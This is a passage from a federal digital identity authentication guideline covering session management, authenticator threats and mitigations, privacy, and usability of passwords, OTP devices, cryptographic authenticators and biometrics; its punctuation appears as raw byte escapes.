Session Management Cheat Sheet [OWASP-session]. 7.1.1 Browser Cookies Browser cookies are the predominant mechanism by which a session will be created and tracked for a subscriber accessing a service. Cookies: SHALL be tagged to be accessible only on secure (HTTPS) sessions. SHALL be accessible to the minimum practical set of hostnames and paths. SHOULD be tagged to be inaccessible via JavaScript (HttpOnly). SHOULD be tagged to expire at, or soon after, the session\xe2\x80\x99s validity period. This requirement is intended to limit the accumulation of cookies, but SHALL NOT be depended upon to enforce session timeouts. 7.1.2 Access Tokens An access token \xe2\x80\x94 such as found in OAuth \xe2\x80\x94 is used to allow an application to access a set of services on a subscriber\xe2\x80\x99s behalf following an authentication event. The presence of an OAuth access token SHALL NOT be interpreted by the RP as presence of the subscriber, in the absence of other signals. The OAuth access token, and any associated refresh tokens, MAY be valid long after the authentication session has ended and the subscriber has left the application. 7.1.3 Device Identification Other methods of secure device identification \xe2\x80\x94 including but not limited to mutual TLS, token binding, or other mechanisms \xe2\x80\x94 MAY be used to enact a session between a subscriber and a service. 7.2 Reauthentication Continuity of authenticated sessions SHALL be based upon the possession of a session secret issued by the verifier at the time of authentication and optionally refreshed during the session. The nature of a session depends on the application, including: A web browser session with a \xe2\x80\x9csession\xe2\x80\x9d cookie, or An instance of a mobile application that retains a session secret. Session secrets SHALL be non-persistent. That is, they SHALL NOT be retained across a restart of the associated application or a reboot of the host device. Periodic reauthentication of sessions SHALL be performed to confirm the continued presence of the subscriber at an authenticated session (i.e., that the subscriber has not walked away without logging out). A session SHALL NOT be extended past the guidelines in Sections 4.1.3, 4.2.3, and 4.3.3 (depending on AAL) based on presentation of the session secret alone. Prior to session expiration, the reauthentication time limit SHALL be extended by prompting the subscriber for the authentication factor(s) specified in Table 7-1. When a session has been terminated, due to a time-out or other action, the user SHALL be required to establish a new session by authenticating again. Table 7-1 AAL Reauthentication Requirements AAL Requirement 1 Presentation of any one factor 2 Presentation of a memorized secret or biometric 3 Presentation of all factors Note: At AAL2, a memorized secret or biometric, and not a physical authenticator, is required because the session secret is something you have, and an additional authentication factor is required to continue the session. 7.2.1 Reauthentication from a Federation or Assertion When using a federation protocol as described in SP 800-63C, Section 5 to connect the CSP and RP, special considerations apply to session management and reauthentication. The federation protocol communicates an authentication event between the CSP and the RP but establishes no session between them. Since the CSP and RP often employ separate session management technologies, there SHALL NOT be any assumption of correlation between these sessions. Consequently, when an RP session expires and the RP requires reauthentication, it is entirely possible that the session at the CSP has not expired and that a new assertion could be generated from this session at the CSP without reauthenticating the user. An RP requiring reauthentication through a federation protocol SHALL \xe2\x80\x94 if possible within the protocol \xe2\x80\x94 specify the maximum acceptable authentication age to the CSP, and the CSP SHALL reauthenticate the subscriber if they have not been authenticated within that time period. The CSP SHALL communicate the authentication event time to the RP to allow the RP to decide if the assertion is sufficient for reauthentication and to determine the time for the next reauthentication event. 8 Threats and Security Considerations This section is informative. 8.1 Authenticator Threats An attacker who can gain control of an authenticator will often be able to masquerade as the authenticator\xe2\x80\x99s owner. Threats to authenticators can be categorized based on attacks on the types of authentication factors that comprise the authenticator: Something you know may be disclosed to an attacker. The attacker might guess a memorized secret. Where the authenticator is a shared secret, the attacker could gain access to the CSP or verifier and obtain the secret value or perform a dictionary attack on a hash of that value. An attacker may observe the entry of a PIN or passcode, find a written record or journal entry of a PIN or passcode, or may install malicious software (e.g., a keyboard logger) to capture the secret. Additionally, an attacker may determine the secret through offline attacks on a password database maintained by the verifier. Something you have may be lost, damaged, stolen from the owner, or cloned by an attacker. For example, an attacker who gains access to the owner\xe2\x80\x99s computer might copy a software authenticator. A hardware authenticator might be stolen, tampered with, or duplicated. Out-of-band secrets may be intercepted by an attacker and used to authenticate their own session. Something you are may be replicated. For example, an attacker may obtain a copy of the subscriber\xe2\x80\x99s fingerprint and construct a replica. This document assumes that the subscriber is not colluding with an attacker who is attempting to falsely authenticate to the verifier. With this assumption in mind, the threats to the authenticator(s) used for digital authentication are listed in Table 8-1, along with some examples. Table 8-1 Authenticator Threats Authenticator Threat/Attack Description Examples Assertion Manufacture or Modification The attacker generates a false assertion Compromised CSP asserts identity of a claimant who has not properly authenticated \xc2 The attacker modifies an existing assertion Compromised proxy that changes AAL of an authentication assertion Theft A physical authenticator is stolen by an Attacker. A hardware cryptographic device is stolen. \xc2 \xc2 An OTP device is stolen. \xc2 \xc2 A look-up secret authenticator is stolen. \xc2 \xc2 A cell phone is stolen. Duplication The subscriber\xe2\x80\x99s authenticator has been copied with or without their knowledge. Passwords written on paper are disclosed. \xc2 \xc2 Passwords stored in an electronic file are copied. \xc2 \xc2 Software PKI authenticator (private key) copied. \xc2 \xc2 Look-up secret authenticator copied. \xc2 \xc2 Counterfeit biometric authenticator manufactured. Eavesdropping The authenticator secret or authenticator output is revealed to the attacker as the subscriber is authenticating. Memorized secrets are obtained by watching keyboard entry. \xc2 \xc2 Memorized secrets or authenticator outputs are intercepted by keystroke logging software. \xc2 \xc2 A PIN is captured from a PIN pad device. \xc2 \xc2 A hashed password is obtained and used by an attacker for another authentication (pass-the-hash attack). \xc2 An out-of-band secret is intercepted by the attacker by compromising the communication channel. An out-of-band secret is transmitted via unencrypted Wi-Fi and received by the attacker. Offline Cracking The authenticator is exposed using analytical methods outside the authentication mechanism. A software PKI authenticator is subjected to dictionary attack to identify the correct password to use to decrypt the private key. Side Channel Attack The authenticator secret is exposed using physical characteristics of the authenticator. A key is extracted by differential power analysis on a hardware cryptographic authenticator. \xc2 \xc2 A cryptographic authenticator secret is extracted by analysis of the response time of the authenticator over a number of attempts. Phishing or Pharming The authenticator output is captured by fooling the subscriber into thinking the attacker is a verifier or RP. A password is revealed by subscriber to a website impersonating the verifier. \xc2 \xc2 A memorized secret is revealed by a bank subscriber in response to an email inquiry from a phisher pretending to represent the bank. \xc2 \xc2 A memorized secret is revealed by the subscriber at a bogus verifier website reached through DNS spoofing. Social Engineering The attacker establishes a level of trust with a subscriber in order to convince the subscriber to reveal their authenticator secret or authenticator output. A memorized secret is revealed by the subscriber to an officemate asking for the password on behalf of the subscriber\xe2\x80\x99s boss. \xc2 \xc2 A memorized secret is revealed by a subscriber in a telephone inquiry from an attacker masquerading as a system administrator. \xc2 \xc2 An out of band secret sent via SMS is received by an attacker who has convinced the mobile operator to redirect the victim\xe2\x80\x99s mobile phone to the attacker. Online Guessing The attacker connects to the verifier online and attempts to guess a valid authenticator output in the context of that verifier. Online dictionary attacks are used to guess memorized secrets. \xc2 \xc2 Online guessing is used to guess authenticator outputs for an OTP device registered to a legitimate claimant. Endpoint Compromise Malicious code on the endpoint proxies remote access to a connected authenticator without the subscriber\xe2\x80\x99s consent. A cryptographic authenticator connected to the endpoint is used to authenticate remote attackers. \xc2 Malicious code on the endpoint causes authentication to other than the intended verifier. Authentication is performed on behalf of an attacker rather than the subscriber. \xc2 \xc2 A malicious app on the endpoint reads an out-of-band secret sent via SMS and the attacker uses the secret to authenticate. \xc2 Malicious code on the endpoint compromises a multi-factor software cryptographic authenticator. Malicious code proxies authentication or exports authenticator keys from the endpoint. Unauthorized Binding An attacker is able to cause an authenticator under their control to be bound to a subscriber\xe2\x80\x99s account. An attacker intercepts an authenticator or provisioning key en route to the subscriber. 8.2 Threat Mitigation Strategies Related mechanisms that assist in mitigating the threats identified above are summarized in Table 8-2. Table 8-2 Mitigating Authenticator Threats Authenticator Threat/Attack Threat Mitigation Mechanisms Normative Reference(s) Theft Use multi-factor authenticators that need to be activated through a memorized secret or biometric. 4.2.1, 4.3.1 \xc2 Use a combination of authenticators that includes a memorized secret or biometric. 4.2.1, 4.3.1 Duplication Use authenticators from which it is difficult to extract and duplicate long-term authentication secrets. 4.2.2, 4.3.2, 5.1.7.1 Eavesdropping Ensure the security of the endpoint, especially with respect to freedom from malware such as key loggers, prior to use. 4.2.2 \xc2 Avoid use of non-trusted wireless networks as unencrypted secondary out-of-band authentication channels. 5.1.3.1 \xc2 Authenticate over authenticated protected channels (e.g., observe lock icon in browser window). 4.1.2, 4.2.2, 4.3.2 \xc2 Use authentication protocols that are resistant to replay attacks such as pass-the-hash. 5.2.8 \xc2 Use authentication endpoints that employ trusted input and trusted display capabilities. 5.1.6.1, 5.1.8.1 Offline Cracking Use an authenticator with a high entropy authenticator secret. 5.1.2.1, 5.1.4.1, 5.1.5.1, 5.1.7.1, 5.1.9.1 \xc2 Store memorized secrets in a salted, hashed form, including a keyed hash. 5.1.1.2, 5.2.7 Side Channel Attack Use authenticator algorithms that are designed to maintain constant power consumption and timing regardless of secret values. 4.3.2 Phishing or Pharming Use authenticators that provide verifier impersonation resistance. 5.2.5 Social Engineering Avoid use of authenticators that present a risk of social engineering of third parties such as customer service agents. 6.1.2.1, 6.1.2.3 Online Guessing Use authenticators that generate high entropy output. 5.1.2.1, 5.1.7.1, 5.1.9.1 \xc2 Use an authenticator that locks up after a number of repeated failed activation attempts. 5.2.2 Endpoint Compromise Use hardware authenticators that require physical action by the subscriber. 5.2.9 \xc2 Maintain software-based keys in restricted-access storage. 5.1.3.1, 5.1.6.1, 5.1.8.1 Unauthorized Binding Use MitM-resistant protocols for provisioning of authenticators and associated keys. 6.1 Several other strategies may be applied to mitigate the threats described in Table 8-1: Multiple factors make successful attacks more difficult to accomplish. If an attacker needs to both steal a cryptographic authenticator and guess a memorized secret, then the work to discover both factors may be too high. Physical security mechanisms may be employed to protect a stolen authenticator from duplication. Physical security mechanisms can provide tamper evidence, detection, and response. Requiring the use of long memorized secrets that don\xe2\x80\x99t appear in common dictionaries may force attackers to try every possible value. System and network security controls may be employed to prevent an attacker from gaining access to a system or installing malicious software. Periodic training may be performed to ensure subscribers understand when and how to report compromise \xe2\x80\x94 or suspicion of compromise \xe2\x80\x94 or otherwise recognize patterns of behavior that may signify an attacker attempting to compromise the authentication process. Out of band techniques may be employed to verify proof of possession of registered devices (e.g., cell phones). 8.3 Authenticator Recovery The weak point in many authentication mechanisms is the process followed when a subscriber loses control of one or more authenticators and needs to replace them. In many cases, the options remaining available to authenticate the subscriber are limited, and economic concerns (e.g., cost of maintaining call centers) motivate the use of inexpensive, and often less secure, backup authentication methods. To the extent that authenticator recovery is human-assisted, there is also the risk of social engineering attacks. To maintain the integrity of the authentication factors, it is essential that it not be possible to leverage an authentication involving one factor to obtain an authenticator of a different factor. For example, a memorized secret must not be usable to obtain a new list of look-up secrets. 8.4 Session Attacks The above discussion focuses on threats to the authentication event itself, but hijacking attacks on the session following an authentication event can have similar security impacts. The session management guidelines in Section 7 are essential to maintain session integrity against attacks, such as XSS. In addition, it is important to sanitize all information to be displayed [OWASP-XSS-prevention] to ensure that it does not contain executable content. These guidelines also recommend that session secrets be made inaccessible to mobile code in order to provide extra protection against exfiltration of session secrets. Another post-authentication threat, cross-site request forgery (CSRF), takes advantage of users\xe2\x80\x99 tendency to have multiple sessions active at the same time. It is important to embed and verify a session identifier into web requests to prevent the ability for a valid URL or request to be unintentionally or maliciously activated. 9 Privacy Considerations These privacy considerations supplement the guidance in Section 4. This section is informative. 9.1 Privacy Risk Assessment Sections 4.1.5, 4.2.5, and 4.3.5 require the CSP to conduct a privacy risk assessment for records retention. Such a privacy risk assessment would include: The likelihood that the records retention could create a problem for the subscriber, such as invasiveness or unauthorized access to the information. The impact if such a problem did occur. CSPs should be able to reasonably justify any response they take to identified privacy risks, including accepting the risk, mitigating the risk, and sharing the risk. The use of subscriber consent is a form of sharing the risk, and therefore appropriate for use only when a subscriber could reasonably be expected to have the capacity to assess and accept the shared risk. 9.2 Privacy Controls Section 4.4 requires CSPs to employ appropriately-tailored privacy controls. SP 800-53 provides a set of privacy controls for CSPs to consider when deploying authentication mechanisms. These controls cover notices, redress, and other important considerations for successful and trustworthy deployments. 9.3 Use Limitation Section 4.4 requires CSPs to use measures to maintain the objectives of predictability (enabling reliable assumptions by individuals, owners, and operators about PII and its processing by an information system) and manageability (providing the capability for granular administration of PII, including alteration, deletion, and selective disclosure)\xc2 commensurate with privacy risks that can arise from the processing of attributes for purposes other than identity proofing, authentication, authorization, or attribute assertion, related fraud mitigation, or to comply with law or legal process NISTIR8062. CSPs may have various business purposes for processing attributes, including providing non-identity services to subscribers. However, processing attributes for other purposes than those specified at collection can create privacy risks when individuals are not expecting or comfortable with the additional processing. CSPs can determine appropriate measures commensurate with the privacy risk arising from the additional processing. For example, absent applicable law, regulation or policy, it may not be necessary to get consent when processing attributes to provide non-identity services requested by subscribers, although notices may help subscribers maintain reliable assumptions about the processing (predictability). Other processing of attributes may carry different privacy risks that call for obtaining consent or allowing subscribers more control over the use or disclosure of specific attributes\xc2 (manageability). Subscriber consent needs to be meaningful; therefore, as stated in\xc2 Section 4.4, when CSPs use consent measures, acceptance by the subscriber of additional uses SHALL NOT be a condition of providing authentication services. Consult your SAOP if there are questions about whether the proposed processing falls outside the scope of the permitted processing or the appropriate privacy risk mitigation measures. 9.4 Agency-Specific Privacy Compliance Section 4.4 covers specific compliance obligations for federal CSPs. It is critical to involve your agency\xe2\x80\x99s SAOP in the earliest stages of digital authentication system development in order to assess and mitigate privacy risks and advise the agency on compliance requirements, such as whether or not the collection of PII to issue or maintain authenticators triggers the Privacy Act of 1974 Privacy Act or the E-Government Act of 2002 E-Gov requirement to conduct a PIA. For example, with respect to centralized maintenance of biometrics, it is likely that the Privacy Act requirements will be triggered and require coverage by either a new or existing Privacy Act system of records due to the collection and maintenance of PII and any other attributes necessary for authentication. The SAOP can similarly assist the agency in determining whether a PIA is required. These considerations should not be read as a requirement to develop a Privacy Act SORN or PIA for authentication alone. In many cases it will make the most sense to draft a PIA and SORN that encompasses the entire digital authentication process or include the digital authentication process as part of a larger programmatic PIA that discusses the service or benefit to which the agency is establishing online. Due to the many components of digital authentication, it is important for the SAOP to have an awareness and understanding of each individual component. For example, other privacy artifacts may be applicable to an agency offering or using federated CSP or RP services (e.g., Data Use Agreements, Computer Matching Agreements). The SAOP can assist the agency in determining what additional requirements apply. Moreover, a thorough understanding of the individual components of digital authentication will enable the SAOP to thoroughly assess and mitigate privacy risks either through compliance processes or by other means. 10 Usability Considerations This section is informative. ISO/IEC 9241-11 defines usability as the \xe2\x80\x9cextent to which a product can be used by specified users to achieve specified goals with effectiveness, efficiency and satisfaction in a specified context of use.\xe2\x80\x9d This definition focuses on users, their goals, and the context of use as key elements necessary for achieving effectiveness, efficiency, and satisfaction. A holistic approach that accounts for these key elements is necessary to achieve usability. A user\xe2\x80\x99s goal for accessing an information system is to perform an intended task. Authentication is the function that enables this goal. However, from the user\xe2\x80\x99s perspective, authentication stands between them and their intended task. Effective design and implementation of authentication makes it easy to do the right thing, hard to do the wrong thing, and easy to recover when the wrong thing happens. Organizations need to be cognizant of the overall implications of their stakeholders\xe2\x80\x99 entire digital authentication ecosystem. Users often employ one or more authenticator, each for a different RP. They then struggle to remember passwords, to recall which authenticator goes with which RP, and to carry multiple physical authentication devices. Evaluating the usability of authentication is critical, as poor usability often results in coping mechanisms and unintended work-arounds that can ultimately degrade the effectiveness of security controls. Integrating usability into the development process can lead to authentication solutions that are secure and usable while still addressing users\xe2\x80\x99 authentication needs and organizations\xe2\x80\x99 business goals. The impact of usability across digital systems needs to be considered as part of the risk assessment when deciding on the appropriate AAL. Authenticators with a higher AAL sometimes offer better usability and should be allowed for use for lower AAL applications. Leveraging federation for authentication can alleviate many of the usability issues, though such an approach has its own tradeoffs, as discussed in SP 800-63C. This section provides general usability considerations and possible implementations, but does not recommend specific solutions. The implementations mentioned are examples to encourage innovative technological approaches to address specific usability needs. Further, usability considerations and their implementations are sensitive to many factors that prevent a one-size-fits-all solution. For example, a font size that works in the desktop computing environment may force text to scroll off of a small OTP device screen. Performing a usability evaluation on the selected authenticator is a critical component of implementation. It is important to conduct evaluations with representative users, realistic goals and tasks, and appropriate contexts of use. ASSUMPTIONS In this section, the term \xe2\x80\x9cusers\xe2\x80\x9d means \xe2\x80\x9cclaimants\xe2\x80\x9d or \xe2\x80\x9csubscribers.\xe2\x80\x9d Guidelines and considerations are described from the users\xe2\x80\x99 perspective. Accessibility differs from usability and is out of scope for this document. Section 508 was enacted to eliminate barriers in information technology and require federal agencies to make their online public content accessible to people with disabilities. Refer to Section 508 law and standards for accessibility guidance. 10.1 Usability Considerations Common to Authenticators When selecting and implementing an authentication system, consider usability across the entire lifecycle of the selected authenticators (e.g., typical use and intermittent events), while being mindful of the combination of users, their goals, and context of use. A single authenticator type usually does not suffice for the entire user population. Therefore, whenever possible \xe2\x80\x94 based on AAL requirements \xe2\x80\x94 CSPs should support alternative authenticator types and allow users to choose based on their needs. Task immediacy, perceived cost benefit tradeoffs, and unfamiliarity with certain authenticators often impact choice. Users tend to choose options that incur the least burden or cost at that moment. For example, if a task requires immediate access to an information system, a user may prefer to create a new account and password rather than select an authenticator requiring more steps. Alternatively, users may choose a federated identity option \xe2\x80\x94 approved at the appropriate AAL \xe2\x80\x94 if they already have an account with an identity provider. Users may understand some authenticators better than others, and have different levels of trust based on their understanding and experience. Positive user authentication experiences are integral to the success of an organization achieving desired business outcomes. Therefore, they should strive to consider authenticators from the users\xe2\x80\x99 perspective. The overarching authentication usability goal is to minimize user burden and authentication friction (e.g., the number of times a user has to authenticate, the steps involved, and the amount of information he or she has to track). Single sign-on exemplifies one such minimization strategy. Usability considerations applicable to most authenticators are described below. Subsequent sections describe usability considerations specific to a particular authenticator. Usability considerations for typical usage of all authenticators include: Provide information on the use and maintenance of the authenticator, e.g., what to do if the authenticator is lost or stolen, and instructions for use \xe2\x80\x94 especially if there are different requirements for first-time use or initialization. Authenticator availability should also be considered as users will need to remember to have their authenticator readily available. Consider the need for alternate authentication options to protect against loss, damage, or other negative impacts to the original authenticator. Whenever possible, based on AAL requirements, users should be provided with alternate authentication options. This allows users to choose an authenticator based on their context, goals, and tasks (e.g., the frequency and immediacy of the task). Alternate authentication options also help address availability issues that may occur with a particular authenticator. Characteristics of user-facing text: Write user-facing text (e.g., instructions, prompts, notifications, error messages) in plain language for the intended audience. Avoid technical jargon and, typically, write for a 6th to 8th grade literacy level. Consider the legibility of user-facing and user-entered text, including font style, size, color, and contrast with surrounding background. Illegible text contributes to user entry errors. To enhance legibility, consider the use of: High contrast. The highest contrast is black on white. Sans serif fonts for electronic displays. Serif fonts for printed materials. Fonts that clearly distinguish between easily confusable characters (e.g., the capital letter \xe2\x80\x9cO\xe2\x80\x9d and the number \xe2\x80\x9c0\xe2\x80\x9d). A minimum font size of 12 points as long as the text fits for display on the device. User experience during authenticator entry: Offer the option to display text during entry, as masked text entry is error-prone. Once a given character is displayed long enough for the user to see, it can be hidden. Consider the device when determining masking delay time, as it takes longer to enter memorized secrets on mobile devices (e.g., tablets and smartphones) than on traditional desktop computers. Ensure masking delay durations are consistent with user needs. Ensure the time allowed for text entry is adequate (i.e., the entry screen does not time out prematurely). Ensure allowed text entry times are consistent with user needs. Provide clear, meaningful and actionable feedback on entry errors to reduce user confusion and frustration. Significant usability implications arise when users do not know they have entered text incorrectly. Allow at least 10 entry attempts for authenticators requiring the entry of the authenticator output by the user. The longer and more complex the entry text, the greater the likelihood of user entry errors. Provide clear, meaningful feedback on the number of remaining allowed attempts. For rate limiting (i.e., throttling), inform users how long they have to wait until the next attempt to reduce confusion and frustration. Minimize the impact of form-factor constraints, such as limited touch and display areas on mobile devices: Larger touch areas improve usability for text entry since typing on small devices is significantly more error prone and time consuming than typing on a full-size keyboard. The smaller the onscreen keyboard, the more difficult it is to type, due to the size of the input mechanism (e.g., a finger) relative to the size of the on-screen target. Follow good user interface and information design for small displays. Intermittent events include events such as reauthentication, account lock-out, expiration, revocation, damage, loss, theft, and non-functional software. Usability considerations for intermittent events across authenticator types include: To prevent users from needing to reauthenticate due to user inactivity, prompt users in order to trigger activity just before (e.g., 2 minutes) an inactivity timeout would otherwise occur. Prompt users with adequate time (e.g., 1 hour) to save their work before the fixed periodic reauthentication event required regardless of user activity. Clearly communicate how and where to acquire technical assistance. For example, provide users with information such as a link to an online self-service feature, chat sessions or a phone number for help desk support. Ideally, sufficient information can be provided to enable users to recover from intermittent events on their own without outside intervention. 10.2 Usability Considerations by Authenticator Type In addition to the previously described general usability considerations applicable to most authenticators (Section 10.1), the following sections describe other usability considerations specific to particular authenticator types. 10.2.1 Memorized Secrets Typical Usage Users manually input the memorized secret (commonly referred to as a password or PIN). Usability considerations for typical usage include: Memorability of the memorized secret. The likelihood of recall failure increases as there are more items for users to remember. With fewer memorized secrets, users can more easily recall the specific memorized secret needed for a particular RP. The memory burden is greater for a less frequently used password. User experience during entry of the memorized secret. Support copy and paste functionality in fields for entering memorized secrets, including passphrases. Intermittent Events Usability considerations for intermittent events include: When users create and change memorized secrets: Clearly communicate information on how to create and change memorized secrets. Clearly communicate memorized secret requirements, as specified in Section 5.1.1. Allow at least 64 characters in length to support the use of passphrases. Encourage users to make memorized secrets as lengthy as they want, using any characters they like (including spaces), thus aiding memorization. Do not impose other composition rules (e.g. mixtures of different character types) on memorized secrets. Do not require that memorized secrets be changed arbitrarily (e.g., periodically) unless there is a user request or evidence of authenticator compromise. (See Section 5.1.1 for additional information). Provide clear, meaningful and actionable feedback when chosen passwords are rejected (e.g., when it appears on a \xe2\x80\x9cblack list\xe2\x80\x9d of unacceptable passwords or has been used previously). 10.2.2 Look-Up Secrets Typical Usage Users use the authenticator \xe2\x80\x94 printed or electronic \xe2\x80\x94 to look up the appropriate secret(s) needed to respond to a verifier\xe2\x80\x99s prompt. For example, a user may be asked to provide a specific subset of the numeric or character strings printed on a card in table format. Usability considerations for typical usage include: User experience during entry of look-up secrets. Consider the prompts\xe2\x80\x99 complexity and size. The larger the subset of secrets a user is prompted to look up, the greater the usability implications. Both the cognitive workload and physical difficulty for entry should be taken into account when selecting the quantity and complexity of look-up secrets for authentication. 10.2.3 Out-of-Band Typical Usage Out-of-band authentication requires users have access to a primary and secondary communication channel. Usability considerations for typical usage: Notify users of the receipt of a secret on a locked device. However, if the out of band device is locked, authentication to the device should be required to access the secret. Depending on the implementation, consider form-factor constraints as they are particularly problematic when users must enter text on mobile devices. Providing larger touch areas will improve usability for entering secrets on mobile devices. A better usability option is to offer features that do not require text entry on mobile devices (e.g., a single tap on the screen, or a copy feature so users can copy and paste out-of-band secrets). Providing users such features is particularly helpful when the primary and secondary channels are on the same device. For example, it is difficult for users to transfer the authentication secret on a smartphone because they must switch back and forth\xe2\x80\x94potentially multiple times\xe2\x80\x94between the out of band application and the primary channel. 10.2.4 Single-Factor OTP Device Typical Usage Users access the OTP generated by the single-factor OTP device. The authenticator output is typically displayed on the device and the user enters it for the verifier. Usability considerations for typical usage include: Authenticator output allows at least one minute between changes, but ideally allows users the full two minutes as specified in Section 5.1.4.1. Users need adequate time to enter the authenticator output (including looking back and forth between the single-factor OTP device and the entry screen). Depending on the implementation, the following are additional usability considerations for implementers: If the single-factor OTP device supplies its output via an electronic interface (e.g, USB) this is preferable since users do not have to manually enter the authenticator output. However, if a physical input (e.g., pressing a button) is required to operate, the location of the USB ports could pose usability difficulties. For example, the USB ports of some computers are located on the back of the computer and will be difficult for users to reach. Limited availability of a direct computer interface such as a USB port could pose usability difficulties. For example, the number of USB ports on laptop computers is often very limited. This may force users to unplug other USB peripherals in order to use the single-factor OTP device. 10.2.5 Multi-Factor OTP Device Typical Usage Users access the OTP generated by the multi-factor OTP device through a second authentication factor. The OTP is typically displayed on the device and the user manually enters it for the verifier. The second authentication factor may be achieved through some kind of integral entry pad to enter a memorized secret, an integral biometric (e.g., fingerprint) reader, or a direct computer interface (e.g., USB port). Usability considerations for the additional factor apply as well \xe2\x80\x94 see Section 10.2.1 for memorized secrets and Section 10.4 for biometrics used in multi-factor authenticators. Usability considerations for typical usage include: User experience during manual entry of the authenticator output. For time-based OTP, provide a grace period in addition to the time during which the OTP is displayed. Users need adequate time to enter the authenticator output, including looking back and forth between the multi-factor OTP device and the entry screen. Consider form-factor constraints if users must unlock the multi-factor OTP device via an integral entry pad or enter the authenticator output on mobile devices. Typing on small devices is significantly more error prone and time-consuming than typing on a traditional keyboard. The smaller the integral entry pad and onscreen keyboard, the more difficult it is to type. Providing larger touch areas improves usability for unlocking the multi-factor OTP device or entering the authenticator output on mobile devices. Limited availability of a direct computer interface like a USB port could pose usability difficulties. For example, laptop computers often have a limited number of USB ports, which may force users to unplug other USB peripherals to use the multi-factor OTP device. 10.2.6 Single-Factor Cryptographic Software Typical Usage Users authenticate by proving possession and control of the cryptographic software key. Usability considerations for typical usage include: Give cryptographic keys appropriately descriptive names that are meaningful to users since users have to recognize and recall which cryptographic key to use for which authentication task. This prevents users from having to deal with multiple similarly- and ambiguously-named cryptographic keys. Selecting from multiple cryptographic keys on smaller mobile devices may be particularly problematic if the names of the cryptographic keys are shortened due to reduced screen size. 10.2.7 Single-Factor Cryptographic Device Typical Usage Users authenticate by proving possession of the single-factor cryptographic device. Usability considerations for typical usage include: Requiring a physical input (e.g., pressing a button) to operate the single-factor cryptographic device could pose usability difficulties. For example, some USB ports are located on the back of computers, making it difficult for users to reach. Limited availability of a direct computer interface like a USB port could pose usability difficulties. For example, laptop computers often have a limited number of USB ports, which may force users to unplug other USB peripherals to use the single-factor cryptographic device. 10.2.8 Multi-Factor Cryptographic Software Typical Usage In order to authenticate, users prove possession and control of the cryptographic key stored on disk or some other \xe2\x80\x9csoft\xe2\x80\x9d media that requires activation. The activation is through the input of a second authentication factor, either a memorized secret or a biometric. Usability considerations for the additional factor apply as well \xe2\x80\x94 see Section 10.2.1 for memorized secrets and Section 10.4 for biometrics used in multi-factor authenticators. Usability considerations for typical usage include: Give cryptographic keys appropriately descriptive names that are meaningful to users since users have to recognize and recall which cryptographic key to use for which authentication task. This prevents users from having to deal with multiple similarly- and ambiguously-named cryptographic keys. Selecting from multiple cryptographic keys on smaller mobile devices may be particularly problematic if the names of the cryptographic keys are shortened due to reduced screen size. 10.2.9 Multi-Factor Cryptographic Device Typical Usage Users authenticate by proving possession of the multi-factor cryptographic device and control of the protected cryptographic key. The device is activated by a second authentication factor, either a memorized secret or a biometric. Usability considerations for the additional factor apply as well \xe2\x80\x94 see Section 10.2.1 for memorized secrets and Section 10.4 for biometrics used in multi-factor authenticators. Usability considerations for typical usage include: Do not require users to keep multi-factor cryptographic devices connected following authentication. Users may forget to disconnect the multi-factor cryptographic device when they are done with it (e.g., forgetting a smartcard in the smartcard reader and walking away from the computer). Users need to be informed regarding whether the multi-factor cryptographic device is required to stay connected or not. Give cryptographic keys appropriately descriptive names that are meaningful to users since users have to recognize and recall which cryptographic key to use for which authentication task. This prevents users being faced with multiple similarly and ambiguously named cryptographic keys. Selecting from multiple cryptographic keys on smaller mobile devices (such as smartphones) may be particularly problematic if the names of the cryptographic keys are shortened due to reduced screen size. Limited availability of a direct computer interface like a USB port could pose usability difficulties. For example, laptop computers often have a limited number of USB ports, which may force users to unplug other USB peripherals to use the multi-factor cryptographic device. 10.3 Summary of Usability Considerations Table 10-1 summarizes the usability considerations for typical usage and intermittent events for each authenticator type. Many of the usability considerations for typical usage apply to most of the authenticator types, as demonstrated in the rows. The table highlights common and divergent usability characteristics across the authenticator types. Each column allows readers to easily identify the usability attributes to address for each authenticator. Depending on users\xe2\x80\x99 goals and context of use, certain attributes may be valued over others. Whenever possible, provide alternative authenticator types and allow users to choose between them. Multi-factor authenticators (e.g., multi-factor OTP devices, multi-factor cryptographic software, and multi-factor cryptographic devices) also inherit their secondary factor\xe2\x80\x99s usability considerations. As biometrics are only allowed as an activation factor in multi-factor authentication solutions, usability considerations for biometrics are not included in Table 10-1 and are discussed in Section 10.4. Table 10-1 Usability Considerations Summary by Authenticator Type 10.4 Biometrics Usability Considerations This section provides a high-level overview of general usability considerations for biometrics. A more detailed discussion of biometric usability can be found in Usability & Biometrics, Ensuring Successful Biometric Systems NIST Usability. Although there are other biometric modalities, the following three biometric modalities are more commonly used for authentication: fingerprint, face and iris. Typical Usage For all modalities, user familiarity and practice with the device improves performance. Device affordances (i.e., properties of a device that allow a user to perform an action), feedback, and clear instructions are critical to a user\xe2\x80\x99s success with the biometric device. For example, provide clear instructions on the required actions for liveness detection. Ideally, users can select the modality they are most comfortable with for their second authentication factor. The user population may be more comfortable and familiar with \xe2\x80\x94 and accepting of \xe2\x80\x94 some biometric modalities than others. User experience with biometrics as an activation factor. Provide clear, meaningful feedback on the number of remaining allowed attempts. For example, for rate limiting (i.e., throttling), inform users of the time period they have to wait until next attempt to reduce user confusion and frustration. Fingerprint Usability Considerations: Users have to remember which finger(s) they used for initial enrollment. The amount of moisture on the finger(s) affects the sensor\xe2\x80\x99s ability for successful capture. Additional factors influencing fingerprint capture quality include age, gender, and occupation (e.g., users handling chemicals or working extensively with their hands may have degraded friction ridges). Face Usability Considerations: Users have to remember whether they wore any artifacts (e.g., glasses) during enrollment because it affects facial recognition accuracy. Differences in environmental lighting conditions can affect facial recognition accuracy. Facial expressions affect facial recognition accuracy (e.g., smiling versus neutral expression). Facial poses affect facial recognition accuracy (e.g., looking down or away from the camera). Iris Usability Considerations: Wearing colored contacts may affect the iris recognition accuracy. Users who have had eye surgery may need to re-enroll post-surgery. Differences in environmental lighting conditions can affect iris recognition accuracy, especially for certain iris colors. Intermittent Events As biometrics are only permitted as a second factor for multi-factor authentication, usability considerations for intermittent events with the primary factor still apply. Intermittent events with biometrics use include, but are not limited to, the following, which may affect recognition accuracy: If users injure their enrolled finger(s), fingerprint recognition may not work. Fingerprint authentication will be difficult for users with degraded fingerprints. The time elapsed between the time of facial recognition for authentication and the time of the initial enrollment can affect recognition accuracy as a user\xe2\x80\x99s face changes naturally over time. A user\xe2\x80\x99s weight change may also be a factor. Iris recognition may not work for people who had eye surgery, unless they re-enroll. Across all biometric modalities, usability considerations for intermittent events include: An alternative authentication method must be available and functioning. In cases where biometrics do not work, allow users to use a memorized secret as an alternative second factor. Provisions for technical assistance: Clearly 